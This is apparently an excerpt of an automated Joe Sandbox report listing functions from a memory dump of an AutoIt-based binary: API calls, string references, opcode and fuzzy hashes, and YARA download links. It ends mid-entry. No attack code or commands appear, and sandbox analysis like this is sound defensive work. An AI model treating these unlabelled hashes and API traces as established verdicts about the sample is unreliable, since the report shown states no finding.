Function 00339431 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00338CC7: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00338CDE
Part of subcall function 00338CC7: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00338CE8
Part of subcall function 00338CC7: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00338CF7
Part of subcall function 00338CC7: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00338CFE
Part of subcall function 00338CC7: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00338D14

GetLengthSid.ADVAPI32(?,00000000,0033904D), ref: 00339482
GetProcessHeap.KERNEL32(00000008,00000000), ref: 0033948E
HeapAlloc.KERNEL32(00000000), ref: 00339495
CopySid.ADVAPI32(00000000,00000000,?), ref: 003394AE
GetProcessHeap.KERNEL32(00000000,00000000,0033904D), ref: 003394C2
HeapFree.KERNEL32(00000000), ref: 003394C9

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 62cb29ef710422af69fd598b780288359f0a6e26c08e18681e772adb8b383392
Instruction ID: 30afdd7ee913a21b453f87fd7ae7255b07be1c5c0ee2dca3201a79d882edefd1
Opcode Fuzzy Hash: 62cb29ef710422af69fd598b780288359f0a6e26c08e18681e772adb8b383392
Instruction Fuzzy Hash: 5211AC72501604FFEB26DFA5CC89BAE7BADFB45316F10801AF88997210C7769942CB60

Function 003391CF Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00339200
OpenProcessToken.ADVAPI32(00000000), ref: 00339207
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00339216
CloseHandle.KERNEL32(00000004), ref: 00339221
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00339250
DestroyEnvironmentBlock.USERENV(00000000), ref: 00339264

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 8a105a93e5cefd415781cf3105dae37c5855951415e98f6d8d3f3cc969602e24
Instruction ID: 864c43f4ffb3929e36de343099a305b3f9ac4cf66a1860518e854a1826c42067
Opcode Fuzzy Hash: 8a105a93e5cefd415781cf3105dae37c5855951415e98f6d8d3f3cc969602e24
Instruction Fuzzy Hash: B5114A7250124EEBDB128FA4DD89BDA7BADEB08304F054155FA09A2160C2B19DA0DB60

Function 0033C329 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0033C34E
GetDeviceCaps.GDI32(00000000,00000058), ref: 0033C35F
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0033C366
ReleaseDC.USER32(00000000,00000000), ref: 0033C36E
MulDiv.KERNEL32(000009EC,?,00000000), ref: 0033C385
MulDiv.KERNEL32(000009EC,?,?), ref: 0033C397

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 2a7ea555cb1f22c5f5d00802be1edb0a833312b4fae7c2bfc34a5e22637252aa
Instruction ID: 6ff44906465d435eb9fa133bc69d7071cfb1ab6eb0e6be28d8521710fc81a700
Opcode Fuzzy Hash: 2a7ea555cb1f22c5f5d00802be1edb0a833312b4fae7c2bfc34a5e22637252aa
Instruction Fuzzy Hash: EF014475E00218BBEF219BA59C49A5EBFBCEF48761F004065FA08AB280D6749D50CFA0

Function 0036C552 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 002E16CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 002E1729
Part of subcall function 002E16CF: SelectObject.GDI32(?,00000000), ref: 002E1738
Part of subcall function 002E16CF: BeginPath.GDI32(?), ref: 002E174F
Part of subcall function 002E16CF: SelectObject.GDI32(?,00000000), ref: 002E1778

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 0036C57C
LineTo.GDI32(00000000,00000003,?), ref: 0036C590
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0036C59E
LineTo.GDI32(00000000,00000000,?), ref: 0036C5AE
EndPath.GDI32(00000000), ref: 0036C5BE
StrokePath.GDI32(00000000), ref: 0036C5CE

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 1b0c2bec178d618f6e302b48509fb429eb873d519a6ae3dbfdc5b8f1f9df28a4
Instruction ID: 0bd0c161126a8873b545c3403b09950141da694608d07884bdd6f84333d33120
Opcode Fuzzy Hash: 1b0c2bec178d618f6e302b48509fb429eb873d519a6ae3dbfdc5b8f1f9df28a4
Instruction Fuzzy Hash: 0E111B7600010CFFDF129F91DC88FEA7FADEB09364F048021BA599A160C771AE95DBA0

Function 003007BB Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 003007EC
MapVirtualKeyW.USER32(00000010,00000000), ref: 003007F4
MapVirtualKeyW.USER32(000000A0,00000000), ref: 003007FF
MapVirtualKeyW.USER32(000000A1,00000000), ref: 0030080A
MapVirtualKeyW.USER32(00000011,00000000), ref: 00300812
MapVirtualKeyW.USER32(00000012,00000000), ref: 0030081A

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: d069c54b2a0dac99fe809c9751097172357264358cc804d934be31bd04355bc1
Instruction ID: 884fb13b6430b7ba35681c5a5e687b16c9fde1343a309056c59517c3d5dae19a
Opcode Fuzzy Hash: d069c54b2a0dac99fe809c9751097172357264358cc804d934be31bd04355bc1
Instruction Fuzzy Hash: B4016CB0901759BDE3008F5A8C85B52FFA8FF59354F00411BA15C47941C7F5A864CBE5

Function 003459A4 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 003459B4
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 003459CA
GetWindowThreadProcessId.USER32(?,?), ref: 003459D9
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 003459E8
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 003459F2
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 003459F9

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 57170d19edff9aa8920474fe391be8abbec4bb9632faa010203539fcd4f0740a
Instruction ID: 9ad25c71969b90af184a69757e827521a4bfe2ee4d8d9b7289ea88010858f0ac
Opcode Fuzzy Hash: 57170d19edff9aa8920474fe391be8abbec4bb9632faa010203539fcd4f0740a
Instruction Fuzzy Hash: E2F03036641158FBE7365BA29C0DEEF7B7CEFC6B11F000159FA09D1050D7A01A5186B5

Function 003477EB Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 003477FE
EnterCriticalSection.KERNEL32(?,?,002EC2B6,?,?), ref: 0034780F
TerminateThread.KERNEL32(00000000,000001F6,?,002EC2B6,?,?), ref: 0034781C
WaitForSingleObject.KERNEL32(00000000,000003E8,?,002EC2B6,?,?), ref: 00347829

Part of subcall function 003471F0: CloseHandle.KERNEL32(00000000,?,00347836,?,002EC2B6,?,?), ref: 003471FA

InterlockedExchange.KERNEL32(?,000001F6), ref: 0034783C
LeaveCriticalSection.KERNEL32(?,?,002EC2B6,?,?), ref: 00347843

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: cb2ba7177a4583d1d47ec98bb85ae5f5b39cf984febc3177f7834bdc19da5591
Instruction ID: f182d65adeced3a28aeb16f5e614aae82ab376c00c8a62ac00b648b9d5fc64e8
Opcode Fuzzy Hash: cb2ba7177a4583d1d47ec98bb85ae5f5b39cf984febc3177f7834bdc19da5591
Instruction Fuzzy Hash: 26F0BE33044202EBD3272B64EC8CAAF377DFF04302F150821F206980A2DBB56841CB60

Function 0033954A Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00339555
UnloadUserProfile.USERENV(?,?), ref: 00339561
CloseHandle.KERNEL32(?), ref: 0033956A
CloseHandle.KERNEL32(?), ref: 00339572
GetProcessHeap.KERNEL32(00000000,?), ref: 0033957B
HeapFree.KERNEL32(00000000), ref: 00339582

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: ebd78170d63207926c62e80e1486da61e67f1f74e3fc496b1904a56cbc8409f5
Instruction ID: 8d0ab944f95545dd5d6552a494fa62682ad84495c4715987fb6bdd278d0f781c
Opcode Fuzzy Hash: ebd78170d63207926c62e80e1486da61e67f1f74e3fc496b1904a56cbc8409f5
Instruction Fuzzy Hash: CDE0E53A004101FBDB161FE1EC0C95ABF3DFF49722F504220F21981470CB72A4A0DB50

Function 00358CD7 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00358CFD
CharUpperBuffW.USER32(?,?), ref: 00358E0C
VariantClear.OLEAUT32(?), ref: 00358F84

Part of subcall function 00347B1D: VariantInit.OLEAUT32(00000000), ref: 00347B5D
Part of subcall function 00347B1D: VariantCopy.OLEAUT32(00000000,?), ref: 00347B66
Part of subcall function 00347B1D: VariantClear.OLEAUT32(00000000), ref: 00347B72

Strings

AUTOIT.ERROR, xrefs: 00358E12
Incorrect Parameter format, xrefs: 00358D35, 00358EF7

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 363e58b5344de1de368d3f1cc9573fbf3bfdad2be9278a4b52a0c98d3c832aa6
Instruction ID: 1ed225d25ba31501629b6448da1d99964e1a0f04654b82376e53c16bc48af1cf
Opcode Fuzzy Hash: 363e58b5344de1de368d3f1cc9573fbf3bfdad2be9278a4b52a0c98d3c832aa6
Instruction Fuzzy Hash: 0F916870608341DFC711DF24C481D6ABBF9AF99354F14896EF88A9B3A1DB30E949CB52

Function 0034323D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002F436A: _wcscpy.LIBCMT ref: 002F438D

_memset.LIBCMT ref: 0034332E
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0034335D
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00343410
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 0034343E

Strings

0, xrefs: 0034331A

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: bf3b16fe1767a6d029376fbf5f1a20f4ebd8078e9ebcce41b350fc600a33ef3d
Instruction ID: 05658a29b8aac5d39d46ba3c06a5914960b1fce2a9e4d27df48ede2a1143deed
Opcode Fuzzy Hash: bf3b16fe1767a6d029376fbf5f1a20f4ebd8078e9ebcce41b350fc600a33ef3d
Instruction Fuzzy Hash: E651E1316083019BD7279F29C8456ABBBE8EF56360F05092DF895DB2E1DB70EE44CB52

Function 00342EFA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00342F67
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00342F83
DeleteMenu.USER32(?,00000007,00000000), ref: 00342FC9
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,003A7890,00000000), ref: 00343012

Strings

0, xrefs: 00342F5C

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: de3440b4b18bbdd90b1a7e06cbbe3f8cba6567a609d267a9ead6911114151e0c
Instruction ID: a406001918d5febabc66373ff17ed22e79704450f8c845192171d5f0bceae239
Opcode Fuzzy Hash: de3440b4b18bbdd90b1a7e06cbbe3f8cba6567a609d267a9ead6911114151e0c
Instruction Fuzzy Hash: 4041C2312043419FD726DF24C884B5BBBE8AF85320F514A1EF5A6AB291D770F905CB52

Function 00339A48 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

Part of subcall function 0033B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0033B7BD

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00339ACC
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00339ADF
SendMessageW.USER32(?,00000189,?,00000000), ref: 00339B0F

Part of subcall function 002F1821: _memmove.LIBCMT ref: 002F185B

Strings

ListBox, xrefs: 00339A8B
ComboBox, xrefs: 00339A56

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: 015344a791213a7e1210eaa66289a7a35255e9ee6f0825d7f08b7565d82a852d
Instruction ID: 29cf5413d9e784e8c1c9e40e18c587c7a52509bc05eeda01f71a43f161be2085
Opcode Fuzzy Hash: 015344a791213a7e1210eaa66289a7a35255e9ee6f0825d7f08b7565d82a852d
Instruction Fuzzy Hash: 88210471A01108EEDB2AEBA4DCC5DFEFB6CDF45390F10421AF965972D0DB740D159A60

Function 00366A0C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 002E2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 002E214F
Part of subcall function 002E2111: GetStockObject.GDI32(00000011), ref: 002E2163
Part of subcall function 002E2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 002E216D

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00366A86
LoadLibraryW.KERNEL32(?), ref: 00366A8D
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00366AA2
DestroyWindow.USER32(?), ref: 00366AAA

Strings

SysAnimate32, xrefs: 00366A61

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: a875872b2d69ed0e60a914ac2c245b9eaa90a9f81ceba9e02fcfdd1c603f3a5a
Instruction ID: b5ff863cad33c6e902e3b525c6c0c3ee91150aec32fc46745d22ce329d6f1558
Opcode Fuzzy Hash: a875872b2d69ed0e60a914ac2c245b9eaa90a9f81ceba9e02fcfdd1c603f3a5a
Instruction Fuzzy Hash: 2F21D1B1210205AFEF128FE4DC82EBB77ADEF593A4F11C218FA11A6194D331CC9097A0

Function 00347357 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00347377
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 003473AA
GetStdHandle.KERNEL32(0000000C), ref: 003473BC
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 003473F6

Strings

nul, xrefs: 003473F1

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 1d1130e550a605cd17d6524ea1a59f987b3c638dc33399c99666369ec0a6c1ce
Instruction ID: bb5388f8df2d4c80e0ada4f266ba678e343c2ecf36cff868cb801af97359a9d1
Opcode Fuzzy Hash: 1d1130e550a605cd17d6524ea1a59f987b3c638dc33399c99666369ec0a6c1ce
Instruction Fuzzy Hash: 3E21B875504306DBDB228F65DC05A9E77E8EF44724F214A19FCA0DB2D1D770E850DB90

Function 00347425 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00347444
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00347476
GetStdHandle.KERNEL32(000000F6), ref: 00347487
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 003474C1

Strings

nul, xrefs: 003474BC

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 91d4cdafb3241df6c780edd1ef73d83a36e7fdbc07a65aac787f63e870817bec
Instruction ID: eb91b077c14d3f1b30c050a5ee49d8f7efd7982e0e95b873d9b3dcd09de5257c
Opcode Fuzzy Hash: 91d4cdafb3241df6c780edd1ef73d83a36e7fdbc07a65aac787f63e870817bec
Instruction Fuzzy Hash: 7E21C4315083059BDB219F6A9C45AAA7BE8AF45770F200B09F9A0EB3D0DB70A840CB50

Function 0034B283 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0034B297
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 0034B2EB
__swprintf.LIBCMT ref: 0034B304
SetErrorMode.KERNEL32(00000000,00000001,00000000,00370980), ref: 0034B342

Strings

%lu, xrefs: 0034B2FE

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

